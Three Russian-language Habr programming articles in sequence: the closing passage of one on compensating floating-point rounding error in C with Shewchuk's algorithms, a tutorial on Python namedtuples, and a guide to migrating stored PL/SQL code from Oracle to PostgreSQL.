Теперь перейдем к практическим расчетам, которые построены на алгоритмах Шевчука. Найдем погрешности округления при сложении и умножении чисел с плавающей запятой и проанализируем, как накапливается погрешность.
#### Погрешность округления суммы
Приведем пример простейшей программы суммирования:
```
#include
#include
int main() {
float val = 2.7892;
printf("%0.7g \n", val);
val = val/10000000000.0;
float result = 0.0;
for (long long i = 0; i < 10000000000; i++) {
result += val;
}
printf("%0.7g \n", result);
return 0;
}
```
В результате работы программы, мы должны получить два одинаковых числа: 2,7892 и 2,7892. Но в консоль было выведено: 2,7892 и 0,0078125. Отсюда видно, что погрешность накопилась очень большая.
Теперь попробуем сделать то же самое, но, используя алгоритм Шевчука, будем накапливать погрешность в отдельную переменную, а затем скомпенсируем результат путем прибавления ошибки к главной переменной суммы.
```
#include
#include
float TwoSum(float a, float b, float& error) {
float x = a + b;
float b\_virt = x - a;
float a\_virt = x - b\_virt;
float b\_roundoff = b - b\_virt;
float a\_roudnoff = a - a\_virt;
float y = a\_roudnoff + b\_roundoff;
error += y;
return x;
}
int main() {
float val = 2.7892;
printf("%0.7g \n", val);
val = val/10000000000.0;
float result = 0.0;
float error = 0.0;
for (long long i = 0; i < 10000000000; i++) {
result = TwoSum(result, val, error);
}
result += error;
printf("%0.7g \n", result);
return 0;
}
```
В итоге мы получаем 2 числа: 2,7892 и 0,015625. Результат улучшился, но погрешность все равно дает о себе знать. В данном примере не была учтена погрешость, возникающая в операции сложения, в функции TwoSum():
```
error += y;
```
Будем компенсировать результат на каждой итерации цикла и перезаписывать ошибку в переменную, которая накапливает погрешность округления в операции суммирования. Для этого модифицируем функцию TwoSum(): добавим переменную **isNull** типа **bool** которая указывает на то, стоит ли нам накапливать погрешность или же стоит ее перезаписать.
В итоге, **result** будет представляться 2 переменными: **result** — главная переменная, **error1** — погрешность операции **result += val**.
Код будет выглядеть следующим образом:
```
#include
#include
float TwoSum(float a, float b, float& error, bool isNull) {
float x = a + b;
float b\_virt = x - a;
float a\_virt = x - b\_virt;
float b\_roundoff = b - b\_virt;
float a\_roudnoff = a - a\_virt;
float y = a\_roudnoff + b\_roundoff;
if (isNull) {
error = y;
} else {
error += y;
}
return x;
}
int main() {
float val = 2.7892;
printf("%0.7g \n", val);
val = val/10000000000.0;
float result = 0.0;
float error1 = 0.0;
for (long long i = 0; i < 10000000000; i++) {
result = TwoSum(result, val, error1, false);
result = TwoSum(error1, result, error1, true);
}
printf("%0.7g \n", result);
return 0;
}
```
Программа выведет числа: 2,7892 и 2,789195.
Заметим, что здесь не была учтена погрешность округления, возникающая в операции умножения:
```
val = val*(1/10000000000.0);
```
Учтем эту погрешность путем добавления функций учета погрешностей умножения, которые разработал Д.Р. Шевчук. При этом переменная val будет представлена двумя переменными:
```
val_real = val + errorMult
```
Таким образом, **result** будет представляться 3 переменными: **result** — главная переменная, **error1** — погрешность операции **result += val**, **error2** — погрешность операции **result += errorMult**.
Так же мы будем складывать переменные **error1** и **error2**, а погрешность от этой операции записывать в **error2**.
В итоге, код:
```
#include
#include
float TwoSum(float a, float b, float& error, bool isNull) {
//isNull отвечает за то, стоит ли нам накопить возникающую погрешность
// или же стоит перепизаписать ее
float x = a + b;
float b\_virt = x - a;
float a\_virt = x - b\_virt;
float b\_roundoff = b - b\_virt;
float a\_roudnoff = a - a\_virt;
float y = a\_roudnoff + b\_roundoff;
if (isNull) {
error = y;
} else {
error += y;
}
return x;
}
void Split(float a, int s, float& a\_hi, float& a\_lo) {
float c = (pow(2, s) + 1)\*a;
float a\_big = c - a;
a\_hi = c - a\_big;
a\_lo = a - a\_hi;
}
float TwoProduct(float a, float b, float& err) {
float x = a\*b;
float a\_hi, a\_low, b\_hi, b\_low;
Split(a, 12, a\_hi, a\_low);
Split(b, 12, b\_hi, b\_low);
float err1, err2, err3;
err1 = x - (a\_hi\*b\_hi);
err2 = err1 - (a\_low\*b\_hi);
err3 = err2 - (a\_hi\*b\_low);
err += ((a\_low \* b\_low) - err3);
return x;
}
int main() {
float val = 2.7892;
printf("%0.7g \n", val);
float errorMult = 0;//погрешность умножения
val = TwoProduct(val, 1.0/10000000000.0, errorMult);
float result = 0.0;
float error1 = 0.0;
float error2 = 0.0;
for (long long i = 0; i < 10000000000; i++) {
result = TwoSum(result, val, error1, false);
result = TwoSum(result, errorMult, error2, false);
error1 = TwoSum(error2, error1, error2, true);
result = TwoSum(error1, result, error1, true);
}
printf("%0.7g \n", result);
return 0;
}
```
В консоль были выведены следующие числа: 2,7892 и 2,789195.
Это говорит о том, что погрешность округления умножения достаточно мала, чтоб проявиться даже на 10 миллиардах итераций. Данный результат является максимально приближенным к исходному числу, если учитывать погрешности в операциях сложения и умножения. Для получение более точного результата можно ввести дополнительные переменные, учитывающие погрешности. Скажем, добавить переменную, учитывающую погрешность в операции накопления основной погрешности в функции TwoSum(). Тогда эта погрешность будет иметь порядок **EPSILON2**, по отношению к главному результату (первая погрешность будет иметь порядок **EPSILON**).
#### Погрешность округления умножения
Посчитаем число 1.0012101 в цикле, т.е. сделаем следующие:
```
#include
#include
int main() {
float val = 1.0012;
float result = 1.0012;
for (long long i = 0; i < 100; i++) {
result \*= val;
}
printf("%0.15g \n", result);
return 0;
}
```
Заметим, что точный результат, с точностью до пятнадцатого знака после запятой, равен 1.128768638496750. Мы получим: 1.12876391410828. Как видно, погрешность оказалось достаточно большой.
Выведем переменную val, приведя ее к типу данных double, и посмотрим, что в нее на самом деле записалось:
```
printf("%0.15g \n", (double)val);
```
Мы получим число 1.00119996070862. Это говорит о том, что в программировании даже самая точная константа не является ни надежной, ни константой. Поэтому, наш реальный точный результат будет равен 1.128764164435784, с точностью до пятнадцатого знака после запятой.
Теперь попробуем улучшить полученный ранее результат. Для этого введем компенсацию результата вычислений, путем учета погрешности округления в операции умножения. Так же будем пытаться прибавлять накопившуюся погрешность к переменной **result** на каждом шаге.
Код:
```
#include
#include
float TwoSum(float a, float b, float& error, bool isNull) {
//isNull отвечает за то, стоит ли нам накопить возникающую погрешность
// или же стоит перепизаписать ее
float x = a + b;
float b\_virt = x - a;
float a\_virt = x - b\_virt;
float b\_roundoff = b - b\_virt;
float a\_roudnoff = a - a\_virt;
float y = a\_roudnoff + b\_roundoff;
if (isNull) {
error = y;
} else {
error += y;
}
return x;
}
void Split(float a, int s, float& a\_hi, float& a\_lo) {
float c = (pow(2, s) + 1)\*a;
float a\_big = c - a;
a\_hi = c - a\_big;
a\_lo = a - a\_hi;
}
float TwoProduct(float a, float b, float& err) {
float x = a\*b;
float a\_hi, a\_low, b\_hi, b\_low;
Split(a, 12, a\_hi, a\_low);
Split(b, 12, b\_hi, b\_low);
float err1, err2, err3;
err1 = x - (a\_hi\*b\_hi);
err2 = err1 - (a\_low\*b\_hi);
err3 = err2 - (a\_hi\*b\_low);
err += ((a\_low \* b\_low) - err3);
return x;
}
int main() {
float val = 1.0012;
float result = 1.0012;
float errorMain = 0.0;
for (long long i = 0; i < 100; i++) {
result = TwoProduct(result, val, errorMain);
result = TwoSum(errorMain, result, errorMain, true);
}
printf("%0.15g \n", result);
return 0;
}
```
Программа выводит следующее число: 1.12876415252686. Мы получили погрешность 1.0e-008, что меньше чем **EPSILON/2** для типа данных **float**. Таким образом, данный результат можно считать достаточно хорошим.
Итоги
-----
1) В данной работе было рассмотрено представление чисел с плавающей запятой в формате стандарта IEEE 754-2008.
2) Был показан способ нахождения погрешностей округления в операциях сложения и умножения у чисел с плавающей запятой.
3) Были рассмотрены простые примеры компенсации погрешностей округления у чисел с плавающей запятой.
Работу выполнил Виктор Фадеев.
Консультировал Макаров А.В.
P.S. Спасибо за найденные ошибки пользователям:
[xeioex](http://habrahabr.ru/users/xeioex/), [Albom](http://habrahabr.ru/users/Albom/).
### Использованная литература
* [Работы](https://drive.google.com/folderview?id=0B-FvBaefDp3dfktNYmlVMDliRWFRVnpkaVN4VzNlR1BlU3did0ZuUjQwTFJOSzlUMy1aUzA&usp=sharing) Макарова Андрея Владимировича на тему «Представление вещественных чисел». В файле *makarov\_float .pdf* показано, как возникают погрешности округления у чисел с плавающей запятой.
* [Википедия](https://ru.wikipedia.org/wiki/%D0%A7%D0%B8%D1%81%D0%BB%D0%BE_%D0%BE%D0%B4%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D0%BE%D0%B9_%D1%82%D0%BE%D1%87%D0%BD%D0%BE%D1%81%D1%82%D0%B8). Число одинарной точности.
* [Adaptive Precision Floating-Point Arithmetic
and Fast Robust Geometric Predicates](http://www.cs.berkeley.edu/~jrs/papers/robustr.pdf) Jonathan Richard Shewchuk | https://habr.com/ru/post/266023/ | null | ru | null |
# Именованные кортежи. Пишем код на Python чище
В стандартной библиотеке питона содержится специализированный тип "namedtuple", который, кажется, не получает того внимания, которое он заслуживает. Это одна из прекрасных фич в питоне, которая скрыта с первого взгляда.
Именованные кортежи могут быть отличной альтернативой определению классов и они имеют некоторые другие интересные особенности, которые я хочу показать вам в этой статье.
Так что же такое именованный кортеж и что делает его таким специализированным? Хороший способ поразмышлять над этим — рассмотреть именованные кортежи как расширение над обычными кортежами.
Кортежи в питоне представляют собой простую структуру данных для группировки произвольных объектов. Кортежи являются неизменяемыми — они не могут быть изменены после их создания.
```
>>> tup = ('hello', object(), 42)
>>> tup
('hello', , 42)
>>> tup[2]
42
>>> tup[2] = 23
TypeError: "'tuple' object does not support item assignment"
```
Обратная сторона кортежей — это то, что мы можем получать данные из них используя только числовые индексы. Вы не можете дать имена отдельным элементам сохранённым в кортеже. Это может повлиять на читаемость кода.
Также, кортеж всегда является узкоспециализированной структурой. Тяжело обеспечить, чтобы два кортежа имели одни и те же номера полей и одни и те же свойства сохранённые в них. Это делает их лёгкими для знакомства со “slip-of-the-mind” багами, где легко перепутать порядок полей.
Именованные кортежи идут на выручку
===================================
Цель именованных кортежей — решить эти две проблемы.
Прежде всего, именованные кортежи являются неизменяемыми подобно обычным кортежам. Вы не можете изменять их после того, как вы что-то поместили в них.
Кроме этого, именованные кортежи это, эм..., *именованные кортежи*. Каждый объект сохраненный в них может быть доступен через уникальный, удобный для чтения человеком, идентификатор. Это освобождает вас от запоминания целочисленных индексов или выдумывания обходных путей типа определения целочисленных констант как мнемоник для ваших индексов.
Вот как выглядит именованный кортеж:
```
>>> from collections import namedtuple
>>> Car = namedtuple('Car' , 'color mileage')
```
Чтобы использовать именованный кортеж, вам нужно импортировать модуль `collections`. Именованные кортежи были добавлены в стандартную библиотеку в Python 2.6. В примере выше мы определили простой тип данных "Car" с двумя полями: "color" и "mileage".
Вы можете найти синтакс немного странным здесь. Почему мы передаём поля как строку закодированную с "color mileage"?
Ответ в том, что функция фабрики именованных кортежей вызывает метод `split()` на строки с именами полей. Таким образом, это, действительно, просто сокращение, чтобы сказать следующее:
```
>>> 'color mileage'.split()
['color', 'mileage']
>>> Car = namedtuple('Car', ['color', 'mileage'])
```
Конечно, вы также можете передать список со строками имён полей напрямую, если вы предпочитаете такой стиль. Преимущество использования списка в том, что в этом случае легко переформатировать этот код, если вам понадобится разделить его на несколько линий:
```
>>> Car = namedtuple('Car', [
... 'color',
... 'mileage',
... ])
```
Как бы вы ни решили, сейчас вы можете создать новые объекты "car" через фабричную функцию `Car`. Поведение будет такое же, как если бы вы решили определить класс `Car` вручную и дать ему конструктор принимающий значения "color" и "mileage":
```
>>> my_car = Car('red', 3812.4)
>>> my_car.color
'red'
>>> my_car.mileage
3812.4
```
Распаковка кортежей и [оператор '\*' для распаковки аргументов функций](https://www.youtube.com/watch?v=YWY4BZi_o28) также работают как ожидается:
```
>>> color, mileage = my_car
>>> print(color, mileage)
red 3812.4
>>> print(*my_car)
red 3812.4
```
Несмотря на доступ к значениям сохранённым в именованном кортеже через их идентификатор, вы всё ещё можете обращаться к ним через их индекс. Это свойство именованных кортежей может быть использовано для их распаковки в обычный кортеж:
```
>>> my_car[0]
'red'
>>> tuple(my_car)
('red', 3812.4)
```
Вы даже можете получить красивое строковое отображение объектов бесплатно, что сэкономит вам время и спасёт от избыточности:
```
>>> my_car
Car(color='red' , mileage=3812.4)
```
Именованные кортежи, как и обычные кортежи, являются неизменяемыми. Когда вы попытаетесь перезаписать одно из их полей, вы получите исключение `AttributeError`:
```
>>> my_car.color = 'blue'
AttributeError: "can't set attribute"
```
Объекты именованных кортежей внутренне реализуются в питоне как обычные классы. Когда дело доходит до использованию памяти, то они так же "лучше", чем обычные классы и просто так же эффективны в использовании памяти как и обычные кортежи.
Хороший путь судить о них — считать, что именованные кортежи являются краткой формой для создания вручную эффективно работающего с памятью неизменяемого класса.
Наследование от именованных кортежей
====================================
Поскольку именованные кортежи построены на обычных классах, то вы можете добавить методы в класс, унаследованный от именованного кортежа.
```
>>> Car = namedtuple('Car', 'color mileage')
>>> class MyCarWithMethods(Car):
... def hexcolor(self):
... if self.color == 'red':
... return '#ff0000'
... else:
... return '#000000'
```
Сейчас мы можем создать объекты MyCarWithMethods и вызвать их метод hexcolor() так, как ожидалось:
```
>>> c = MyCarWithMethods('red', 1234)
>>> c.hexcolor()
'#ff0000'
```
Несмотря на то, что это может быть немного неуклюже, такая реализация может быть стоящим делом если вы хотите получить класс с неизменяемыми свойствами. Но вы легко можете прострелить себе ногу в таком случае.
Например, добавление нового *неизменяемого* поля является каверзной операцией из-за того как именованные кортежи устроены внутри. Более простой путь создания иерархии именованных кортежей — использование свойства .\_fields базового кортежа:
```
>>> Car = namedtuple('Car', 'color mileage')
>>> ElectricCar = namedtuple(
... 'ElectricCar', Car._fields + ('charge',))
```
Это даёт желаемый результат:
```
>>> ElectricCar('red', 1234, 45.0)
ElectricCar(color='red', mileage=1234, charge=45.0)
```
Встроенные вспомогательные методы именованного кортежа
======================================================
Кроме свойства \_fields каждый экземпляр именованного кортежа также предоставляет ещё несколько вспомогательных методов, которые вы можете найти полезными. Все их имена начинаются со знака подчёркивания, который говорит нам, что метод или свойство "приватное" и не является частью устоявшегося интерфейса класса или модуля.
Что касается именованных кортежей, то соглашение об именах начинающихся со знака подчёркивания здесь имеет другое значение: эти вспомогательные методы и свойства являются частью открытого интерфейса именованных кортежей. Символ подчёркивания в этих именах был использован для того, чтобы избежать коллизий имён с полями кортежа, определёнными пользователем. Так что, не стесняйтесь использовать их, если они вам понадобятся!
Я хочу показать вам несколько сценариев где вспомогательные методы именованного кортежа могут пригодиться. Давайте начнём с метода \_asdict(). Он возвращает содержимое именованного кортежа в виде словаря:
```
>>> my_car._asdict()
OrderedDict([('color', 'red'), ('mileage', 3812.4)])
```
Это очень здорово для избегания опечаток при создании JSON, например:
```
>>> json.dumps(my_car._asdict())
'{"color": "red", "mileage": 3812.4}'
```
Другой полезный помощник — функция \_replace(). Она создаёт поверхностную(shallow) копию кортежа и разрешает вам выборочно заменять некоторые поля:
```
>>> my_car._replace(color='blue')
Car(color='blue', mileage=3812.4)
```
И, наконец, метод класса \_make() может быть использован чтобы создать новый экземпляр именованного кортежа из последовательности:
```
>>> Car._make(['red', 999])
Car(color='red', mileage=999)
```
Когда стоит использовать именованные кортежи
============================================
Именованные кортежи могут быть простым способом для построения вашего кода, делая его более читаемым и обеспечивая лучшее структурирование ваших данных.
Я нахожу, например, что путь от узкоспециализированных структур данных с жёстко заданным форматом, таких как словари к именованным кортежам помогает мне выражать мои намерения более чисто. Часто когда я пытаюсь это рефакторить, то я магически достигаю лучших решений проблем, с которыми я сталкиваюсь.
Использование именованных кортежей вместо неструктурированных кортежей и словарей может также сделать жизнь моих коворкеров легче, потому что эти структуры данных помогают создавать данные понятным, самодокументирующимся(в достаточной степени) образом.
С другой стороны, я стараюсь не использовать именованные кортежи ради их пользы, если они не помогают мне писать чище, читабельнее и не делают код более лёгким в сопровождении. Слишком много хороших вещей может оказаться плохой вещью.
Однако, если вы используете их с осторожностью, то именованные кортежи, без сомнения, могут сделать ваш код на Python лучше и более выразительным.
Что нужно запомнить
===================
* collections.namedtuple — краткая форма для создания вручную эффективно работающего с памятью неизменяемого класса.
* Именованные кортежи могут помочь сделать ваш код чище, обеспечивая вас более простыми в понимании структурами данных.
* Именованные кортежи предоставляют несколько полезных вспомогательных методов которые начинаются с символа подчёркивания (\_), но являются частью открытого интерфейса. Использовать их — это нормальная практика. | https://habr.com/ru/post/330034/ | null | ru | null |
# Работа с хранимым кодом приложения при миграции с Oracle на PostgreSQL: особенности, сложности и способы их преодоления
В предыдущих статьях о миграции с Oracle на Postgres мы рассматривали перенос данных из одной системы управления базами данных в другую ([часть 1](https://habr.com/ru/company/postgrespro/blog/676792/), [часть 2](https://habr.com/ru/company/postgrespro/blog/679808/)). Сегодня разговор пойдёт об особенностях работы с серверным хранимым кодом приложения при необходимости смены СУБД. В частности, будут рассмотрены следующие вопросы:
1. Какой код стоит переносить.
2. Основные особенности, затрудняющие перевод на PostgreSQL.
3. Варианты замены особенностей исходной СУБД при конвертации хранимого кода в СУБД-источник.
Прежде всего, необходимо принять решение о целесообразности переноса хранимого кода [**PL/SQL**](https://docs.oracle.com/en/database/oracle/oracle-database/21/lnpls/index.html) **на** [**PL/pgSQL**](https://postgrespro.ru/docs/postgresql/14/plpgsql). Код на PL/SQL [можно скомпилировать в байт-код перед выполнением](https://www.orafaq.com/node/2899), а код на PL/pgSQL нельзя. Процесс компиляции преобразует хранимые процедуры PL/SQL в нативный код общих библиотек, связанных с ядром ОС, что может привести к увеличению производительности процедурного кода.
Степень повышения производительности зависит от содержимого PL/SQL. Процесс компиляции не влияет на скорость извлечения данных из базы, только на процедурную логику вокруг них (циклы, условные операторы, математические операции).
В отличие от PL/SQL языка PL/pgSQL является интерпретируемым языком программирования, в этом можно убедиться при просмотре содержимого столбца prosrc таблицы словаря данных [pg\_proc](https://postgrespro.ru/docs/postgresql/14/catalog-pg-proc). Исходный текст процедуры или функции в точности такой, какой он был при выполнении команд [CREATE FUNCTION](https://postgrespro.ru/docs/postgresql/14/sql-createfunction) и/или [CREATE PROCEDURE](https://postgrespro.ru/docs/postgresql/14/sql-createprocedure). Когда сессия в первый раз выполняет процедуру или функцию, то:
1. Её нужно разобрать.
2. Составить дерево разбора.
3. Обойти его и выполнить указанные действия.
В результате интерпретируемый язык будет по скорости проигрывать компилируемому.
Возникает также вопрос о масштабировании решения, в котором весь прикладной код содержится на стороне СУБД-приёмника. Если вынести код на сторону приложения, то можно:
1. Добавить новые сервера приложений.
2. Установить «умный» балансировщик, который в зависимости от требований приложения будет перенаправлять запросы пользователя на тот или иной сервер приложений.
3. Разделить монолитное решение на микросервисы, каждый из которых будет работать со своей БД.
Кроме того, часть прикладной логики, в частности, взаимодействие с внешними подсистемами, удобнее реализовать на языке прикладного кода, а не на PL/pgSQL.
К сожалению, в настоящий момент ситуация такая: при переходе на другую СУБД многие стараются взять исходный код, сконвертировать его так, чтобы он был синтаксически корректен для конечной СУБД, и **пытаются работать с новой СУБД так, как уже привыкли с прежней**. Для получения максимальной производительности нужно проектировать систему с пониманием внутренних механизмов функционирования новой СУБД. Если такую ошибку допустить, то проект, вероятнее всего, не станет успешным.
Именно поэтому не стоит **копировать код бездумно из Oracle в Postgres, а изучать особенности новой СУБД («приёмника»)**. У любой СУБД есть свои преимущества и недостатки, но можно с уверенностью утверждать, что Postgres решает свои задачи не хуже Oracle, а иногда даже лучше - например, задачи полнотекстового поиска или работы с геоданными. Следует понимать, насколько сложен код PL/SQL – расчёты биллинговой системы или более простой код, которого много.
Выше был описан первый из **четырёх основных этапов перевода кода**. Перечислим их все:
1. Оценка целесообразности миграции хранимого кода.
2. Поиск затрудняющих перенос особенностей в хранимом коде.
3. Выбор средств конвертации кода.
4. Конвертация и адаптация кода.
**На что стоит обратить пристальное внимание в процессе переноса?**
1. **На часто выполняемые PL/SQL функции и процедуры со сложной логикой**. Стоит рассмотреть возможность их переноса на сторону прикладного приложения, если речь идёт о:
* Многократном использовании коллекций.
* Выполнении функций несколькими процессами одновременно.
* Помещении задач в очередь с ожиданием их выполнения для продолжения работы.PL/pgSQL - интерпретируемый язык, так что на нём всё перечисленное выше будет работать медленнее, чем на PL/SQL.
2. **На тяжеловесные вычисления с применением параллелизма.** Допустим, в системе реализован какой-то сложный биллинг. В этом случае стоит думать о выносе на сторону приложения, поскольку прикладной компилируемый язык программирования, скорее всего, будет работать быстрее.
Как правило, на практике встречаются следующие случаи:
1. Кода много, но он сам по себе простой, его можно перенести в СУБД-приёмник.
2. Большая часть функционала выносится на сторону приложения, СУБД перестаёт быть сервером приложения и становится хранилищем данных.
3. Монолитная система логически разбивается на несколько частей. Тогда, вероятно, нужно переносить не всё, а лишь небольшие фрагменты кода, относящиеся к переносимой части.
**Преимущество расширяемости PostgreSQL**
PostgreSQL - расширяемая СУБД, предоставляющая широкие возможности добавления нового функционала без внесения изменений в код ядра.
**Можно** **реализовать часть логики системы на языке C**. Поначалу это может быть не совсем удобно, зато это оправдывает себя с точки зрения производительности. [В документации PostgreSQL](https://postgrespro.ru/docs/postgresql/14/trigger-example) приведён пример разработки триггера на языке C. А вот [здесь](https://www.percona.com/blog/2019/08/15/faster-lightweight-trigger-function-in-c-for-postgresql/) приводится сравнение производительности работы, из которого следует, что разработанный на языке С триггер будет работать быстрее. Также рекомендуется ознакомиться с докладом "[Пример использования GiST в решении нестандартной поисковой задачи](https://pgconf.ru/2020/262485)", в котором описывается, как с помощью разработанной на языке С функции можно ускорить выполнение запроса с 10 минут до 110 мс.
**Можно** **создавать новые типы данных, методы доступа к ним**. В качестве примера можно привести модуль для работы с геометрией [PostGIS](https://postgis.net/).
**Также существует возможность написания своих** [**агрегатных функций**](https://postgrespro.ru/docs/postgresql/14/xaggr). В частности, есть модуль [first\_last\_agg](https://github.com/wulczer/first_last_agg), позволяющий заменить конструкцию [KEEP (DENSE\_RANK LAST ORDER BY)](https://livesql.oracle.com/apex/livesql/file/content_FP499O87G9NJ3CA3JKIJA5XM8.html). С помощью агрегатных функций можно значительно сократить количество подзапросов в основном запросе и существенно улучшить его производительность. Например, был случай, когда модуль **first\_last\_agg** позволил убрать большую часть подзапросов, и запрос, работавший в СУБД Oracle 6 часов, в СУБД PostgreSQL стал выполняться за 15 минут.
Существует возможность создания [процедурных языков программирования](https://postgrespro.ru/docs/postgresql/14/xplang), позволяющих разрабатывать пользовательские функции не только на SQL и С, но и на других языках. В настоящее время в состав СУБД PostgreSQL включены четыре процедурных языка:
1. [PL/pgSQL](https://postgrespro.ru/docs/postgresql/14/plpgsql).
2. [PL/Perl](https://postgrespro.ru/docs/postgresql/14/plperl).
3. [PL/Python](https://postgrespro.ru/docs/postgresql/14/plpython).
4. [PL/Tcl](https://postgrespro.ru/docs/postgresql/14/pltcl).
**Особенности, затрудняющие перенос хранимого кода приложения**
Ниже приведена часть особенностей кода приложения исходной СУБД, затрудняющих перевод в целевую СУБД:
1. Cтарый синтаксис соединения таблиц.
2. Иерархические запросы.
3. Параллельная обработка данных.
4. Условия фильтрации, вычисляемые на этапе выполнения.
5. Использование механизма очередей.
6. Технологии построения веб-приложений (APEX).
7. Взаимодействие с внешними сервисами по протоколу HTTP.
8. Использование PL/SQL коллекций и объектов.
9. Пользовательские константы.
10. Ref-курсор.
11. Глобальные структуры данных уровня пакета.
12. Пользовательские исключения.
13. Конструкции MERGE и INSERT ALL.
14. Конструкции DECODE.
15. Вложенные определения функций.
16. Функции определения схожести строк.
17. Автономные транзакции.
18. Регрессионное тестирование хранимого кода.
19. Выполнение задач по расписанию.
20. Конструкции-подсказки для планировщика.
**Старый синтаксис соединения таблиц**
Теперь поговорим о том, как обойти вышеназванные ограничения при миграции. Что касается [старого синтаксиса соединения таблиц](https://www.techonthenet.com/oracle/joins.php), его следует заменить на новый:
* LEFT OUTER JOIN.
* JOIN.
* RIGHT OUTER JOIN.
* FULL OUTER JOIN.
То есть нужно использовать стандарт языка ANSI SQL, либо, если у кого-то есть доступ в СУБД Oracle, можно там заменить код на поддерживаемый стандартом синтаксис.
**Иерархические запросы**
Ниже приведён типичный пример иерархии с «родителями» и «потомками»:
```
CREATE TABLE t_hierarchy (
id INT NOT NULL PRIMARY KEY,
parent INT NOT NULL,
value VARCHAR(50) NOT NULL
);
INSERT INTO t_hierarchy (id, parent, VALUE)
SELECT s
, s / 5
, 'Value ' || s
FROM generate_series(1, 1000) s;
CREATE INDEX ix_hierarchy_parent ON t_hierarchy (parent);
```
Продемонстрируем, как можно написать иерархический запрос с использованием СУБД Postgres. Стоит отметить, что старый синтаксис СУБД Oracle известен не только своими конструкциями START WITH, CONNECT BY PRIOR, но и [псевдостолбцами](https://docs.oracle.com/en/database/oracle/oracle-database/12.2/sqlrf/Hierarchical-Query-Pseudocolumns.html), позволяющими определить:
1. Признак листового узла, у которого нет дочерних элементов.
2. Путь от корня к текущему узлу.
3. Уровень вложенности и так далее.
Ниже приведена реализация иерархического запроса в СУБД PostgreSQL:
```
WITH RECURSIVE ds(id, parent, value, lvl, path) AS (
SELECT h.id
, h.parent
, h.value
, 1 AS lvl
, ARRAY[h.id] AS path
FROM t_hierarchy h
WHERE h.parent = 0
UNION ALL
SELECT h.id
, h.parent
, h.value
, lvl + 1 AS lvl
, ARRAY[h.id] AS path
FROM ds d
JOIN t_hierarchy h
ON h.parent = d.id
)
SELECT REPEAT(' ', d.lvl) || d.id AS id
, d.parent
, d.value
, d.lvl
, d.path::text AS path
, CASE WHEN d.lvl - LEAD(d.lvl) OVER(ORDER BY d.path) < 0 THEN false ELSE true END AS is_leaf
FROM ds d
ORDER BY d.path;
```
Видно, что реализация представляет собой [рекурсивный запрос](https://postgrespro.ru/docs/postgresql/14/queries-with#QUERIES-WITH-RECURSIVE). Поле path здесь является определяющим, т.к., c помощью сортировки по этому полю получается правильная иерархическая структура с точки зрения визуального представления. Также path важен для определения листовых узлов:
1. Если у узла есть потомки, то он не является листовым.
2. Если у узла нет потомков, то он является листовым.
Массив path показывает путь от корня к текущему элементу. Уровень вложенности можно представить путём добавления единицы к первоначальному уровню.
**Зацикливание рекурсивных запросов в PostgreSQL**
Тем не менее, у рекурсивных запросов в PostgreSQL есть некоторые неприятные нюансы. В СУБД Oracle предусмотрена так называемая [максимальная глубина рекурсии](https://www.oraexcel.com/database-oracle-11gR2-ORA-24451) - если она превышена, то Oracle считает, что запрос зациклился, и его выполнение прерывается. [В СУБД Postgres до 14-ой версии это было не так](https://postgrespro.ru/docs/postgresql/14/queries-with#QUERIES-WITH-RECURSIVE) - запрос мог войти в бесконечный цикл, продолжали копиться временные файлы, очищавшиеся только после прерывания запроса. А он прерывался не раньше, чем закончится место на диске.
Ниже приведён пример множества, при обработке которого произойдёт зацикливание иерархического запроса, поскольку поля **dss\_key** и **dss\_parent\_key** имеют одинаковое значение.
Данное множество получилось из-за того, что в СУБД PostgreSQL NULL и пустая строка это не одно и то же (на недавней PGConf.Russia был представлен [доклад о NULL-значениях](https://pgconf.ru/2022/316638)).
Стоит помнить, что **условие на выход из цикла должно быть тщательно прописано**, потому что такие ошибки достаточно тяжело отловить, особенно при очень объёмных запросах на тысячи строк кода.
К счастью, в 14-ой версии появился синтаксис CYCLE SET USING, позволяющий упростить выявление циклов. В этой конструкции:
1. В CYCLE объявляется набор столбцов, значения которых могут зациклиться.
2. В SET указывается имя столбца с признаком выявления цикла.
3. В USING указывается столбец, в котором будет отслеживаться путь.
Подробнее об этой особенности можно прочитать в:
1. [PostgreSQL 14: Часть 5 или «весенние заморозки» (Коммитфест 2021-03)](https://habr.com/ru/company/postgrespro/blog/550632/).
2. [Фразы CYCLE и SEARCH для рекурсивных запросов](https://commitfest.postgresql.org/32/2570/).
**Параллельная обработка данных в Oracle**
В СУБД Oracle есть три способа параллельной обработки данных:
1. **Подсказка для планировщика** [**PARALLEL**](https://ittutorial.org/parallel-hint-in-oracle/)**.** (В этом случае данные распределяются по дочерним процессам главного процесса-координатора).
2. [**DBMS\_PARALLEL\_EXECUTE**](https://docs.oracle.com/database/121/ARPLS/d_parallel_ex.htm). (Появился в Oracle 11, использует в своей работе DBMS\_SCHEDULER).
3. [**DBMS\_SCHEDULER**](https://docs.oracle.com/en/database/oracle/oracle-database/21/arpls/DBMS_SCHEDULER.html).Часто использовался в Oracle 10 до появления пакета DBMS\_PARALLEL\_EXECUTE. Данные разбивали на задания, они ставились в расписание и выполнялись, ожидалось их завершение. Переход к следующим заданиям происходил, если все предыдущие успешно выполнились. Иногда требовалось повторно выполнить завершившиеся с ошибкой задачи.
**Параллельная обработка данных в PostgreSQL**
В СУБД Oracle подсказка для планировщика [PARALLEL](https://docs.oracle.com/cd/E11882_01/server.112/e41573/hintsref.htm#CHDJIGDG) позволяет ускорить выполнение части запроса, будет задействовано несколько фоновых процессов, каждому из которых передаётся часть данных для обработки.
Можно обернуть часть запроса в [общее табличное выражение](#i2129904) и указать для него подсказку PARALLEL. В результате, только она будет выполняться несколькими процессами, а все остальные части запроса нет.
В PostgreSQL есть возможность [использования параллелизма](https://postgrespro.ru/docs/postgrespro/14/parallel-query), но оно [даже при использовании модуля pg\_hint\_plan не действует на](https://postgrespro.ru/docs/enterprise/14/pg-hint-plan):
1. Внешние таблицы.
2. Табличные функции.
3. Предложения VALUES.
4. CTE.
5. Представления.
6. Вложенные запросы.
Тем не менее, **можно попытаться воспроизвести поведение PARALLEL**, если:
1. Часть запроса обернуть в функцию.
2. Установить в её определении [max\_parallel\_workers\_per\_gather](https://postgrespro.ru/docs/postgrespro/14/runtime-config-resource): SET max\_parallel\_workers\_per\_gather TO num\_workers.
Таким образом, на этапе планирования запроса планировщик примет решении об использовании нескольких фоновых процессов для выполнения функции.
